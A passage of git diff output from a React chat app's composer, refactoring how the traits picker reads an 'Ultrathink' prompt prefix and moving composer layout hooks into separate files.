useStableCallback(editPromptFromTraits); + const promptUltrathink = readPromptUltrathink(prompt); const providerTraitsMenuContent = renderProviderTraitsMenuContent({ provider: selectedProvider, @@ -2330,8 +2335,8 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) models: selectedProviderModels, modelOptions: composerModelOptions?.[selectedInstanceId], reportedModelSelection, - prompt, - onPromptChange: setPromptFromTraitsStable, + promptUltrathink, + onPromptEdit: editPromptFromTraitsStable, planModeEnabled: settings.planModeEnabled, }); const providerTraitsPickerInput = { @@ -2343,8 +2348,8 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) models: selectedProviderModels, modelOptions: composerModelOptions?.[selectedInstanceId], reportedModelSelection, - prompt, - onPromptChange: setPromptFromTraitsStable, + promptUltrathink, + onPromptEdit: editPromptFromTraitsStable, planModeEnabled: settings.planModeEnabled, isComposerOwned: true, } satisfies Parameters[0]; @@ -4736,6 +4741,82 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) terminalOpen, ]); + const insertComposerText = ( + text: string, + position: "cursor" | "end", + options?: { + ensureLeadingBoundary?: boolean; + citationCommentAnchor?: AssistantCitationSourceAnchor; + clipboardData?: DataTransfer; + }, + ): boolean => { + if ( + text.length === 0 || + isConnecting || + activePendingIsResponding || + (pendingUserInputs.length > 0 && !activePendingProgress?.activeQuestion) || + projectSelectionRequired || + (options?.citationCommentAnchor && !composerEditorRef.current) + ) { + return false; + } + if (options?.clipboardData) { + text = importPastedComposerText(options.clipboardData, importContextFragment); + } + const prompt = promptRef.current; + const cursor = position === "cursor" ? readComposerSnapshot().expandedCursor : prompt.length; + const needsLeadingSpace = + (options?.ensureLeadingBoundary ?? false) && + cursor > 0 && + !/\s/.test(prompt[cursor - 1] ?? ""); + const rangeEnd = extendReplacementRangeForTrailingSpace(prompt, cursor, text); + return applyPromptReplacement( + cursor, + rangeEnd, + needsLeadingSpace ? ` ${text}` : text, + options?.citationCommentAnchor + ? { + citationComment: { + start: cursor + (needsLeadingSpace ? 1 : 0), + sourceAnchor: options.citationCommentAnchor, + insertedSpaces: { before: needsLeadingSpace, after: rangeEnd === cursor }, + }, + focusEditorAfterReplace: false, + } + : undefined, + ); + }; + const insertComposerTextStable = useStableCallback(insertComposerText); + + const insertAttachmentReferences = ( + references: ReadonlyArray, + selection?: { start: number; end: number }, + ): boolean => { + if (references.length === 0) return false; + // Question answers carry attachments beside the answer, never as chips. Falling back to + // the thread prompt here would hide the file behind a reference the question never shows. + if (questionAttachmentTarget) return false; + return insertAttachmentReferencesForDraft({ + target: composerDraftTarget, + liveAttachmentTargetKey: attachmentTargetKeyRef.current, + references, + insertReferences: () => { + if (selection) { + const edit = inlineContextReferenceReplacement(promptRef.current, selection, references); + return applyPromptReplacementStable(edit.start, edit.end, edit.text); + } + const text = references.map(formatInlineContextReference).join(" "); + const inserted = insertComposerTextStable(`${text} `, "cursor", { + ensureLeadingBoundary: true, + }); + if (!inserted) { + setPrompt(ensureInlineContextReferences(promptRef.current, references)); + } + return true; + }, + }); + }; + const addComposerAttachments = async ( files: File[], options?: { @@ -4944,33 +5025,6 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) }); }; - const insertAttachmentReferences = ( - references: ReadonlyArray, - selection?: { start: number; end: number }, - ): boolean => { - if (references.length === 0) return false; - // Question answers carry attachments beside the answer, never as chips. Falling back to - // the thread prompt here would hide the file behind a reference the question never shows. - if (questionAttachmentTarget) return false; - return insertAttachmentReferencesForDraft({ - target: composerDraftTarget, - liveAttachmentTargetKey: attachmentTargetKeyRef.current, - references, - insertReferences: () => { - if (selection) { - const edit = inlineContextReferenceReplacement(promptRef.current, selection, references); - return applyPromptReplacement(edit.start, edit.end, edit.text); - } - const text = references.map(formatInlineContextReference).join(" "); - const inserted = insertComposerText(`${text} `, "cursor", { ensureLeadingBoundary: true }); - if (!inserted) { - setPrompt(ensureInlineContextReferences(promptRef.current, references)); - } - return true; - }, - }); - }; - const removeComposerImage = (imageId: string) => { const image = composerImagesRef.current.find((candidate) => candidate.id === imageId); const referenced = collectInlineContextIds(promptRef.current).includes( @@ -5075,53 +5129,6 @@ export const ChatComposer = memo(function ChatComposer(props: ChatComposerProps) () => resolveActiveComposerTrigger().trigger?.kind === "path", ); - const insertComposerText = ( - text: string, - position: "cursor" | "end", - options?: { - ensureLeadingBoundary?: boolean; - citationCommentAnchor?: AssistantCitationSourceAnchor; - clipboardData?: DataTransfer; - }, - ): boolean => { - if ( - text.length === 0 || - isConnecting || - activePendingIsResponding || - (pendingUserInputs.length > 0 && !activePendingProgress?.activeQuestion) || - projectSelectionRequired || - (options?.citationCommentAnchor && !composerEditorRef.current) - ) { - return false; - } - if (options?.clipboardData) { - text = importPastedComposerText(options.clipboardData, importContextFragment); - } - const prompt = promptRef.current; - const cursor = position === "cursor" ? readComposerSnapshot().expandedCursor : prompt.length; - const needsLeadingSpace = - (options?.ensureLeadingBoundary ?? false) && - cursor > 0 && - !/\s/.test(prompt[cursor - 1] ?? ""); - const rangeEnd = extendReplacementRangeForTrailingSpace(prompt, cursor, text); - return applyPromptReplacement( - cursor, - rangeEnd, - needsLeadingSpace ? ` ${text}` : text, - options?.citationCommentAnchor - ? { - citationComment: { - start: cursor + (needsLeadingSpace ? 1 : 0), - sourceAnchor: options.citationCommentAnchor, - insertedSpaces: { before: needsLeadingSpace, after: rangeEnd === cursor }, - }, - focusEditorAfterReplace: false, - } - : undefined, - ); - }; - const insertComposerTextStable = useStableCallback(insertComposerText); - const insertComposerTextAtEnd: ChatComposerHandle["insertTextAtEnd"] = (text, options) => { const inserted = insertComposerText(text, "end", options); if (inserted && isComposerCollapsedMobile) { diff --git a/apps/web/src/components/chat/TraitsPicker.tsx b/apps/web/src/components/chat/TraitsPicker.tsx index db350ca52f03..00566955e5d4 100644 --- a/apps/web/src/components/chat/TraitsPicker.tsx +++ b/apps/web/src/components/chat/TraitsPicker.tsx @@ -1,7 +1,6 @@ import { buildTraitsTriggerDisplay, getDescriptorStringValue, - getPromptControlledTraits, getTraitSelectChange, replaceDescriptorCurrentValue, selectableProviderOptionChoices, @@ -21,6 +20,7 @@ import { buildProviderOptionSelectionsFromDescriptors, getProviderOptionCurrentLabel, getProviderOptionDescriptors, + isClaudeUltrathinkPrompt, normalizeModelSlug, } from "@t3tools/shared/model"; import { memo } from "react"; @@ -50,6 +50,17 @@ import { useComposerMenuState } from "./useComposerMenuState"; type ProviderOptions = ReadonlyArray; +/** + * All the picker reads from the prompt while rendering. Passing this instead of + * the prompt keeps the picker from re-rendering on every keystroke. + */ +export type PromptUltrathink = "none" | "prefix" | "body"; + +export function readPromptUltrathink(prompt: string): PromptUltrathink { + if (!isClaudeUltrathinkPrompt(prompt)) return "none"; + return isClaudeUltrathinkPrompt(prompt.replace(/^Ultrathink:\s*/i, "")) ? "body" : "prefix"; +} + const SAVED_OPTION_LABELS: Readonly> = { agent: "Agent", effort: "Effort", @@ -108,7 +119,7 @@ function getSelectedTraits( provider: ProviderDriverKind, models: ReadonlyArray, model: string | null | undefined, - prompt: string, + promptUltrathink: PromptUltrathink, modelOptions: ProviderOptions | null | undefined, allowPromptInjectedEffort: boolean, planModeEnabled: boolean, @@ -144,11 +155,11 @@ function getSelectedTraits( const thinkingDescriptor = booleanDescriptors.find((descriptor) => descriptor.id === "thinking") ?? null; - const { ultrathinkPromptControlled, ultrathinkInBodyText } = getPromptControlledTraits( - descriptors, - prompt, - allowPromptInjectedEffort, - ); + const ultrathinkPromptControlled = + allowPromptInjectedEffort && + (primarySelectDescriptor?.promptInjectedValues?.length ?? 0) > 0 && + promptUltrathink !== "none"; + const ultrathinkInBodyText = ultrathinkPromptControlled && promptUltrathink === "body"; const effort = (ultrathinkPromptControlled ? "ultrathink" @@ -186,7 +197,7 @@ function getTraitsSectionVisibility(input: { provider: ProviderDriverKind; models: ReadonlyArray; model: string | null | undefined; - prompt: string; + promptUltrathink?: PromptUltrathink | undefined; modelOptions: ProviderOptions | null | undefined; allowPromptInjectedEffort?: boolean; planModeEnabled: boolean; @@ -195,7 +206,7 @@ function getTraitsSectionVisibility(input: { input.provider, input.models, input.model, - input.prompt, + input.promptUltrathink ?? "none", input.modelOptions, input.allowPromptInjectedEffort ?? true, input.planModeEnabled, @@ -244,7 +255,7 @@ export function getReasoningTraitStep(input: { input.provider, input.models, input.model, - input.prompt, + readPromptUltrathink(input.prompt), input.modelOptions, true, input.planModeEnabled, @@ -291,7 +302,7 @@ export function shouldRenderTraitsControls(input: { provider: ProviderDriverKind; models: ReadonlyArray; model: string | null | undefined; - prompt: string; + promptUltrathink?: PromptUltrathink | undefined; modelOptions: ProviderOptions | null | undefined; allowPromptInjectedEffort?: boolean; planModeEnabled: boolean; @@ -304,8 +315,9 @@ export interface TraitsMenuContentProps { instanceId?: ProviderInstanceId; models: ReadonlyArray; model: string | null | undefined; - prompt: string; - onPromptChange: (prompt: string) => void; + promptUltrathink?: PromptUltrathink | undefined; + /** Receives an edit of the live prompt; the picker never holds the prompt text itself. */ + onPromptEdit?: (edit: (prompt: string) => string) => void; modelOptions?: ProviderOptions | null | undefined; reportedModelSelection?: ModelSelection | null | undefined; allowPromptInjectedEffort?: boolean; @@ -319,8 +331,8 @@ export const TraitsMenuContent = memo(function TraitsMenuContentImpl({ instanceId, models, model, - prompt, - onPromptChange, + promptUltrathink, + onPromptEdit, modelOptions, reportedModelSelection, allowPromptInjectedEffort = true, @@ -349,7 +361,7 @@ export const TraitsMenuContent = memo(function TraitsMenuContentImpl({ provider, models, model, - prompt, + promptUltrathink, modelOptions, allowPromptInjectedEffort, planModeEnabled, @@ -372,9 +384,12 @@ export const TraitsMenuContent = memo(function TraitsMenuContentImpl({ descriptor: Extract, value: string, ) => { - const change = getTraitSelectChange(selected, descriptor, prompt, value); + // Whether a pick applies, and the options it writes, do not depend on the prompt text. + const change = getTraitSelectChange(selected, descriptor, "", value); if (!change) return; - if (change.prompt !== prompt) onPromptChange(change.prompt); + onPromptEdit?.( + (prompt) => getTraitSelectChange(selected, descriptor, prompt, value)?.prompt ?? prompt, + ); if ("modelOptions" in change) updateModelOptions(change.modelOptions); }; @@ -500,8 +515,8 @@ export const TraitsPicker = memo(function TraitsPicker({ instanceId, models, model, - prompt, - onPromptChange, + promptUltrathink, + onPromptEdit, modelOptions, reportedModelSelection, allowPromptInjectedEffort = true, @@ -525,7 +540,7 @@ export const TraitsPicker = memo(function TraitsPicker({ provider, models, model, - prompt, + promptUltrathink, modelOptions, allowPromptInjectedEffort, planModeEnabled, @@ -535,7 +550,7 @@ export const TraitsPicker = memo(function TraitsPicker({ provider, models, model, - prompt, + promptUltrathink, modelOptions, allowPromptInjectedEffort, planModeEnabled, @@ -611,8 +626,8 @@ export const TraitsPicker = memo(function TraitsPicker({ {...(instanceId ? { instanceId } : {})} models={models} model={model} - prompt={prompt} - onPromptChange={onPromptChange} + promptUltrathink={promptUltrathink} + {...(onPromptEdit ? { onPromptEdit } : {})} modelOptions={modelOptions} reportedModelSelection={reportedModelSelection} allowPromptInjectedEffort={allowPromptInjectedEffort} diff --git a/apps/web/src/components/chat/composerProviderState.test.tsx b/apps/web/src/components/chat/composerProviderState.test.tsx index f7f15d5bf6c3..0eb67d6daae8 100644 --- a/apps/web/src/components/chat/composerProviderState.test.tsx +++ b/apps/web/src/components/chat/composerProviderState.test.tsx @@ -11,6 +11,7 @@ import { getComposerReasoningStep, withImplicitFastModeDefault, } from "./composerProviderState"; +import { readPromptUltrathink } from "./TraitsPicker"; const PROVIDER: ProviderDriverKind = ProviderDriverKind.make("codex"); const MODEL = "test-model"; @@ -238,6 +239,15 @@ describe("withImplicitFastModeDefault", () => { }); }); +describe("readPromptUltrathink", () => { + it("tells the Ultrathink prefix apart from the word in the body", () => { + expect(readPromptUltrathink("Fix the bug")).toBe("none"); + expect(readPromptUltrathink("Ultrathink: Fix the bug")).toBe("prefix"); + expect(readPromptUltrathink("ultrathink about the bug")).toBe("body"); + expect(readPromptUltrathink("Ultrathink: ultrathink harder")).toBe("body"); + }); +}); + describe("getComposerReasoningStep", () => { const LEVELS = [ { id: "low", label: "Low" }, diff --git a/apps/web/src/components/chat/composerProviderState.tsx b/apps/web/src/components/chat/composerProviderState.tsx index 5944b431e510..85f725fce2b2 100644 --- a/apps/web/src/components/chat/composerProviderState.tsx +++ b/apps/web/src/components/chat/composerProviderState.tsx @@ -24,6 +24,7 @@ import { shouldRenderTraitsControls, TraitsMenuContent, TraitsPicker, + type PromptUltrathink, } from "./TraitsPicker"; export type ComposerProviderStateInput = { @@ -55,8 +56,8 @@ type TraitsRenderInput = { models: ReadonlyArray; modelOptions: ReadonlyArray | undefined; reportedModelSelection?: ModelSelection | null | undefined; - prompt: string; - onPromptChange: (prompt: string) => void; + promptUltrathink: PromptUltrathink; + onPromptEdit: (edit: (prompt: string) => string) => void; planModeEnabled: boolean; size?: ComposerControlSize; hidden?: boolean; @@ -230,8 +231,8 @@ function renderTraitsControl( models, modelOptions, reportedModelSelection, - prompt, - onPromptChange, + promptUltrathink, + onPromptEdit, planModeEnabled, size, hidden, @@ -253,7 +254,7 @@ function renderTraitsControl( models, model, modelOptions: resolvedModelOptions, - prompt, + promptUltrathink, planModeEnabled, }) ) { @@ -269,8 +270,8 @@ function renderTraitsControl( model={model} modelOptions={resolvedModelOptions} reportedModelSelection={reportedModelSelection} - prompt={prompt} - onPromptChange={onPromptChange} + promptUltrathink={promptUltrathink} + onPromptEdit={onPromptEdit} planModeEnabled={planModeEnabled} {...(size !== undefined ? { size } : {})} {...(hidden !== undefined ? { hidden } : {})} diff --git a/apps/web/src/components/settings/ProjectDefaultsSettings.tsx b/apps/web/src/components/settings/ProjectDefaultsSettings.tsx index 2a66452edf9b..184b66256dce 100644 --- a/apps/web/src/components/settings/ProjectDefaultsSettings.tsx +++ b/apps/web/src/components/settings/ProjectDefaultsSettings.tsx @@ -191,8 +191,6 @@ export function ProjectDefaultsSettings({ category }: { category: ProjectSetting provider={activeEntry.driverKind} models={activeEntry.models} model={selection.model} - prompt="" - onPromptChange={() => {}} modelOptions={selection.options ?? []} allowPromptInjectedEffort={false} planModeEnabled={settings.planModeEnabled} diff --git a/apps/web/src/components/settings/SettingsPanels.tsx b/apps/web/src/components/settings/SettingsPanels.tsx index 5e9797f21d09..649f26ee1e7f 100644 --- a/apps/web/src/components/settings/SettingsPanels.tsx +++ b/apps/web/src/components/settings/SettingsPanels.tsx @@ -1869,8 +1869,6 @@ export function GeneralSettingsPanel() { provider={textGenProvider} models={textGenInstanceEntry?.models ?? []} model={textGenModel} - prompt="" - onPromptChange={() => {}} modelOptions={textGenModelOptions} allowPromptInjectedEffort={false} planModeEnabled={ diff --git a/apps/web/src/components/settings/SourceControlWritingSettings.tsx b/apps/web/src/components/settings/SourceControlWritingSettings.tsx index 3c76207c4816..99db9a118db7 100644 --- a/apps/web/src/components/settings/SourceControlWritingSettings.tsx +++ b/apps/web/src/components/settings/SourceControlWritingSettings.tsx @@ -397,8 +397,6 @@ export function SourceControlWritingSettingsSection() { provider={writerInstanceEntry.driverKind} models={writerInstanceEntry.models} model={activeSelection.model} - prompt="" - onPromptChange={() => {}} modelOptions={activeSelection.options ?? []} allowPromptInjectedEffort={false} planModeEnabled={ @@ -503,8 +501,6 @@ export function SourceControlWritingSettingsSection() { provider={reviewGuideInstanceEntry.driverKind} models={reviewGuideInstanceEntry.models} model={reviewGuideSelection.model} - prompt="" - onPromptChange={() => {}} modelOptions={reviewGuideSelection.options ?? []} allowPromptInjectedEffort={false} planModeEnabled={ From 22fd2aca1fcfc4d9d45fa7352796dc6a8d8b95a6 Mon Sep 17 00:00:00 2001 From: Julius Marminge Date: Wed, 21 Oct 2026 13:23:39 -0700 Subject: [PATCH 024/130] refactor(web): the composer's layout and provider hooks live in their own files (#23042) Co-authored-by: Claude Opus 5.5 --- apps/web/src/components/chat/ChatComposer.tsx | 950 +----------------- .../chat/ComposerCommandMenuLayer.tsx | 94 ++ .../components/chat/useComposerImageGroups.ts | 40 + .../chat/useComposerProviderModel.ts | 100 ++ .../chat/useComposerRestingTransition.ts | 526 ++++++++++ .../useProviderWorkspaceSnapshotRefresh.ts | 137 +++ .../chat/useRestingComposerControlsLayout.ts | 84 ++ 7 files changed, 987 insertions(+), 944 deletions(-) create mode 100644 apps/web/src/components/chat/ComposerCommandMenuLayer.tsx create mode 100644 apps/web/src/components/chat/useComposerImageGroups.ts create mode 100644 apps/web/src/components/chat/useComposerProviderModel.ts create mode 100644 apps/web/src/components/chat/useComposerRestingTransition.ts create mode 100644 apps/web/src/components/chat/useProviderWorkspaceSnapshotRefresh.ts create mode 100644 apps/web/src/components/chat/useRestingComposerControlsLayout.ts diff --git a/apps/web/src/components/chat/ChatComposer.tsx b/apps/web/src/components/chat/ChatComposer.tsx index 18eea30efb31..03c9a4987543 100644 --- a/apps/web/src/components/chat/ChatComposer.tsx +++ b/apps/web/src/components/chat/ChatComposer.tsx @@ -41,7 +41,6 @@ import { PROVIDER_SEND_TURN_MAX_ATTACHMENTS, PROVIDER_SEND_TURN_MAX_IMAGE_BYTES, PROVIDER_SEND_TURN_MAX_INPUT_CHARS, - PROVIDER_WORKSPACE_SNAPSHOT_TTL_MS, } from "@t3tools/contracts"; import type { EnvironmentConnectionPresentation } from "@t3tools/client-runtime/connection"; import { settlePromise, squashAtomCommandFailure } from "@t3tools/client-runtime/state/runtime"; @@ -67,7 +66,6 @@ import { useLayoutEffect, useRef, useState, - useSyncExternalStore, } from "react"; import { createPortal, flushSync } from "react-dom"; import { @@ -91,7 +89,6 @@ import { getAntigravitySendBlockReason, readFileAsDataUrl, resolveComposerInteractionMode, - resolveComposerProviderSelection, threadShellHasStarted, } from "../ChatView.logic"; import { @@ -116,8 +113,6 @@ import { hydrateImagesFromPersisted, useComposerDraftStore, useComposerThreadDraft, - deriveEffectiveComposerModelState, - useComposerDraftModelState, } from "../../composerDraftStore"; import { MAX_STASH_ENTRIES, @@ -189,13 +184,10 @@ import { toKindScopedComposerContextId, } from "@t3tools/shared/composerContextReferences"; import { - resolveRestingComposerControlsLayout, - shouldAnimateComposerRestingTransition, shouldUseCompactComposerPrimaryActions, shouldUseCompactComposerFooter, shouldUseRestingComposerLayout, } from "../composerFooterLayout"; -import { measureRestingComposerControls } from "./restingComposerControlsMeasurement"; import { type ComposerCitationCommentRequest, type ComposerPromptEditorHandle, @@ -285,7 +277,6 @@ import { resolveComposerMenuActiveItemId } from "./composerMenuHighlight"; import { buildPullRequestReferenceContext } from "../pullRequest/pullRequestDetail.logic"; import { getComposerPromptInjectionState, - getComposerProviderState, getComposerReasoningStep, renderProviderTraitsMenuContent, renderProviderTraitsPicker, @@ -301,11 +292,6 @@ import { buildExpandedImagePreview, type ExpandedImagePreview, } from "./ExpandedImagePreview"; -import { - getPendingSnapShotAnimations, - pendingSnapShotAnimationIdsForTarget, - subscribeToPendingSnapShotAnimations, -} from "../../lib/snapShotAnimation"; import { resizeSnapShotSource } from "../../lib/snapShotSource"; import { cn, isMacPlatform, randomUUID } from "~/lib/utils"; import { @@ -329,631 +315,14 @@ import { } from "./composerScrollGesture"; import { observeResize } from "~/lib/observeResize"; -type ComposerCommandMenuPosition = { - bottom: number; - left: number; - maxHeight: number; - width: number; -}; - const isEnvironmentRequestInvalidError = Schema.is(EnvironmentRequestInvalidError); const COMPOSER_SCROLL_COLLAPSE_THRESHOLD_PX = 24; const COMPOSER_SCROLL_GESTURE_RESET_MS = 120; -const COMPOSER_RESTING_TRANSITION_CLEANUP_BUFFER_MS = 50; -const COMPOSER_RESTING_TRANSITION_EASING = "cubic-bezier(0.32, 0.72, 0, 1)"; -const COMPOSER_RESTING_CONTROLS_ARRIVAL_DRIFT_PX = 4; - -function useComposerRestingTransition( - isCollapsed: boolean, - isResting: boolean, - restingControlsRef: React.RefObject, - onOverlayHeightChange: (height: number) => void, - animationsActive: boolean, - animationDurationMs: number, -) { - const elementRef = useRef(null); - const isCollapsedRef = useRef(isCollapsed); - const previousCollapsedRef = useRef(isCollapsed); - const previousRestingRef = useRef(isResting); - const previousHeightRef = useRef(null); - const previousModelStripHeightRef = useRef(null); - const previousContentOffsetsRef = useRef<{ - promptFromTop: number | null; - promptHeight: number | null; - actionFromBottom: number | null; - controlsFromBottom: number | null; - controlsFromLeft: number | null; - surfaceBottomInset: number | null; - }>({ - promptFromTop: null, - promptHeight: null, - actionFromBottom: null, - controlsFromBottom: null, - controlsFromLeft: null, - surfaceBottomInset: null, - }); - const animationRef = useRef(null); - const animationTargetHeightRef = useRef(null); - const contentAnimationsRef = useRef([]); - const stateChangeAnimationsRef = useRef([]); - const pinnedOverlayRef = useRef(null); - const transitionCleanupTimeoutRef = useRef(null); - const transitionLayoutRequestRef = useRef(0); - const hasCompletedInitialLayoutRef = useRef(false); - - const clearOverlayPin = () => { - // The overlay belongs to the chat view and outlives this composer, so it - // is remembered from pin time rather than re-resolved through a ref that - // React may already have detached during unmount. - const overlay = pinnedOverlayRef.current; - pinnedOverlayRef.current = null; - overlay?.style.removeProperty("height"); - overlay?.style.removeProperty("display"); - overlay?.style.removeProperty("flex-direction"); - overlay?.style.removeProperty("justify-content"); - }; - - const clearTransitionStyles = () => { - const element = elementRef.current; - const footer = element?.querySelector('[data-chat-composer-footer="true"]'); - element?.style.removeProperty("overflow"); - element?.style.removeProperty("clip-path"); - element?.style.removeProperty("overflow-clip-margin"); - element - ?.querySelector('[data-chat-composer-surface="true"]') - ?.style.removeProperty("height"); - footer?.style.removeProperty("position"); - footer?.style.removeProperty("top"); - footer?.style.removeProperty("bottom"); - footer?.style.removeProperty("left"); - footer?.style.removeProperty("right"); - footer?.style.removeProperty("height"); - const shell = element?.closest('[data-slot="composer-shell"]'); - shell?.removeAttribute("data-model-strip-transition"); - const modelStrip = shell?.querySelector('[data-composer-model-strip="true"]'); - for (const property of [ - "position", - "top", - "visibility", - "height", - "min-height", - "padding-top", - "align-items", - "z-index", - "pointer-events", - ]) { - modelStrip?.style.removeProperty(property); - } - clearOverlayPin(); - }; - - useLayoutEffect(() => { - isCollapsedRef.current = isCollapsed; - }); - - const transitionToCurrentGeometry = (stateChanged: boolean) => { - const element = elementRef.current; - const surface = element?.querySelector('[data-chat-composer-surface="true"]'); - if (!element || !surface) return; - - const nextIsCollapsed = isCollapsedRef.current; - - const visibleTransitionElement = (selector: string) => - Array.from(element.querySelectorAll(selector)).find( - (candidate) => candidate.getClientRects().length > 0, - ) ?? null; - const prompt = visibleTransitionElement( - '[data-composer-prompt-surface="true"], [data-chat-composer-transition-prompt="true"]', - ); - const action = visibleTransitionElement('[data-chat-composer-transition-actions="true"]'); - const footer = element.querySelector('[data-chat-composer-footer="true"]'); - const continuousControls = - element.dataset.inlineRestingControls === "true" || element.dataset.modelOnlyStrip === "true"; - const controls = nextIsCollapsed - ? restingControlsRef.current - : element.querySelector('[data-chat-composer-controls="left"]'); - - const shell = element.closest('[data-slot="composer-shell"]'); - const modelStrip = shell?.querySelector('[data-composer-model-strip="true"]'); - const interruptedStripHeight = - animationRef.current && modelStrip ? modelStrip.getBoundingClientRect().height : null; - const interruptedAnimation = animationRef.current; - const interruptedPromptTop = interruptedAnimation - ? (prompt?.getBoundingClientRect().top ?? null) - : null; - const interruptedActionTop = interruptedAnimation - ? (action?.getBoundingClientRect().top ?? null) - : null; - const interruptedControlsLeft = interruptedAnimation - ? (controls?.getBoundingClientRect().left ?? null) - : null; - const interruptedControlsTop = interruptedAnimation - ? (controls?.getBoundingClientRect().top ?? null) - : null; - const interruptedHeight = interruptedAnimation ? element.getBoundingClientRect().height : null; - const interruptedTargetHeight = animationTargetHeightRef.current; - const interruptedCurrentTime = - typeof interruptedAnimation?.currentTime === "number" - ? interruptedAnimation.currentTime - : null; - const interruptedDuration = interruptedAnimation?.effect?.getComputedTiming().duration; - if (transitionCleanupTimeoutRef.current !== null) { - window.clearTimeout(transitionCleanupTimeoutRef.current); - transitionCleanupTimeoutRef.current = null; - } - interruptedAnimation?.cancel(); - animationRef.current = null; - for (const animation of contentAnimationsRef.current) animation.cancel(); - contentAnimationsRef.current = []; - if (stateChanged) { - for (const animation of stateChangeAnimationsRef.current) animation.cancel(); - stateChangeAnimationsRef.current = []; - } - clearTransitionStyles(); - - const nextRect = element.getBoundingClientRect(); - const nextHeight = nextRect.height; - const nextModelStripHeight = modelStrip?.getBoundingClientRect().height ?? null; - // The chat view resize-observes the overlay to place the timeline - // inset, the scroll-to-end pill, and the mini player. Publishing the - // destination height here turns that feedback into one update instead - // of a ChatView re-render on every animation frame. - const overlay = element.closest('[data-chat-composer-overlay="true"]'); - const overlayRect = overlay?.getBoundingClientRect(); - const overlayHeight = overlayRect?.height ?? null; - if (overlayHeight !== null) { - onOverlayHeightChange(overlayHeight); - } - const nextPromptRect = prompt?.getBoundingClientRect() ?? null; - const nextPromptTop = nextPromptRect?.top ?? null; - const nextActionTop = action?.getBoundingClientRect().top ?? null; - const nextControlsRect = controls?.getBoundingClientRect() ?? null; - const nextControlsTop = nextControlsRect?.top ?? null; - const footerBottom = footer ? nextRect.bottom - footer.getBoundingClientRect().bottom : 1; - const previousHeight = interruptedHeight ?? previousHeightRef.current; - const targetChanged = - interruptedTargetHeight === null || Math.abs(interruptedTargetHeight - nextHeight) >= 0.5; - const shouldAnimate = shouldAnimateComposerRestingTransition({ - hasCompletedInitialLayout: hasCompletedInitialLayoutRef.current, - stateChanged, - hasInterruptedAnimation: interruptedHeight !== null, - }); - - if ( - shouldAnimate && - animationsActive && - previousHeight !== null && - Math.abs(previousHeight - nextHeight) >= 0.5 - ) { - const remainingDuration = - typeof interruptedDuration === "number" && interruptedCurrentTime !== null - ? Math.max(1, interruptedDuration - interruptedCurrentTime) - : animationDurationMs; - const duration = - interruptedHeight !== null && !targetChanged ? remainingDuration : animationDurationMs; - element.style.overflow = "clip"; - if (modelStrip) { - const controlsClearance = Math.max( - nextModelStripHeight ?? 0, - previousModelStripHeightRef.current ?? 0, - ); - element.style.overflowClipMargin = `${controlsClearance}px`; - element.style.clipPath = `inset(0 0 -${controlsClearance}px 0)`; - } - surface.style.height = "100%"; - - if (overlay && overlayHeight !== null) { - overlay.style.height = `${String(overlayHeight)}px`; - overlay.style.display = "flex"; - overlay.style.flexDirection = "column"; - overlay.style.justifyContent = "flex-end"; - pinnedOverlayRef.current = overlay; - } - - if (footer) { - footer.style.position = "absolute"; - footer.style.top = "auto"; - footer.style.bottom = `${String(footerBottom)}px`; - footer.style.height = "3rem"; - if (nextIsCollapsed) { - footer.style.left = "auto"; - footer.style.right = "1px"; - } else { - footer.style.left = "1px"; - footer.style.right = "1px"; - } - } - - let stripAnimation: Animation | null = null; - if (modelStrip) { - const stripHeight = modelStrip.getBoundingClientRect().height; - const stripOverlap = -Number.parseFloat(getComputedStyle(modelStrip).marginTop); - const fromHeight = - interruptedStripHeight ?? - (previousCollapsedRef.current - ? (previousModelStripHeightRef.current ?? stripHeight) - : stripOverlap); - const toHeight = nextIsCollapsed ? stripHeight : stripOverlap; - modelStrip.style.position = "relative"; - modelStrip.style.top = "auto"; - modelStrip.style.visibility = "visible"; - modelStrip.style.minHeight = "0"; - modelStrip.style.paddingTop = "0"; - modelStrip.style.alignItems = "flex-end"; - modelStrip.style.pointerEvents = "none"; - modelStrip.style.zIndex = "20"; - shell?.setAttribute("data-model-strip-transition", "true"); - stripAnimation = modelStrip.animate( - [{ height: `${fromHeight}px` }, { height: `${toHeight}px` }], - { duration, easing: COMPOSER_RESTING_TRANSITION_EASING, fill: "both" }, - ); - } - - const animation = element.animate( - [{ height: `${previousHeight}px` }, { height: `${nextHeight}px` }], - { - duration, - easing: COMPOSER_RESTING_TRANSITION_EASING, - fill: "both", - }, - ); - animationRef.current = animation; - animationTargetHeightRef.current = nextHeight; - - const animatedRect = element.getBoundingClientRect(); - const previousBottom = - overlayRect && previousContentOffsetsRef.current.surfaceBottomInset !== null - ? overlayRect.bottom - previousContentOffsetsRef.current.surfaceBottomInset - : animatedRect.bottom; - const bottomShift = previousBottom - animatedRect.bottom; - const previousPromptTop = - interruptedPromptTop ?? - (previousContentOffsetsRef.current.promptFromTop === null - ? null - : animatedRect.top + bottomShift + previousContentOffsetsRef.current.promptFromTop); - const previousActionTop = - interruptedActionTop ?? - (previousContentOffsetsRef.current.actionFromBottom === null - ? null - : previousBottom - previousContentOffsetsRef.current.actionFromBottom); - const contentAnimations: Animation[] = stripAnimation ? [stripAnimation] : []; - const animateContentPosition = ( - content: HTMLElement | null, - previousTop: number | null, - previousLeft: number | null = null, - ) => { - if (!content || previousTop === null) return; - const rect = content.getBoundingClientRect(); - const offset = previousTop - rect.top; - const offsetX = previousLeft === null ? 0 : previousLeft - rect.left; - if (Math.abs(offset) < 0.5 && Math.abs(offsetX) < 0.5) return; - contentAnimations.push( - content.animate( - [{ transform: `translate(${offsetX}px, ${offset}px)` }, { transform: "none" }], - { - duration, - easing: COMPOSER_RESTING_TRANSITION_EASING, - }, - ), - ); - }; - animateContentPosition(prompt, previousPromptTop); - animateContentPosition(action, previousActionTop); - if (continuousControls) { - const previousControlsTop = - interruptedControlsTop ?? - (previousContentOffsetsRef.current.controlsFromBottom === null - ? null - : previousBottom - previousContentOffsetsRef.current.controlsFromBottom); - const previousControlsLeft = - interruptedControlsLeft ?? - (previousContentOffsetsRef.current.controlsFromLeft === null - ? null - : animatedRect.left + previousContentOffsetsRef.current.controlsFromLeft); - animateContentPosition(controls, previousControlsTop, previousControlsLeft); - } - contentAnimationsRef.current = contentAnimations; - - if (stateChanged) { - const stateChangeAnimations: Animation[] = []; - - const previousPromptHeight = previousContentOffsetsRef.current.promptHeight; - if ( - !nextIsCollapsed && - prompt && - nextPromptRect 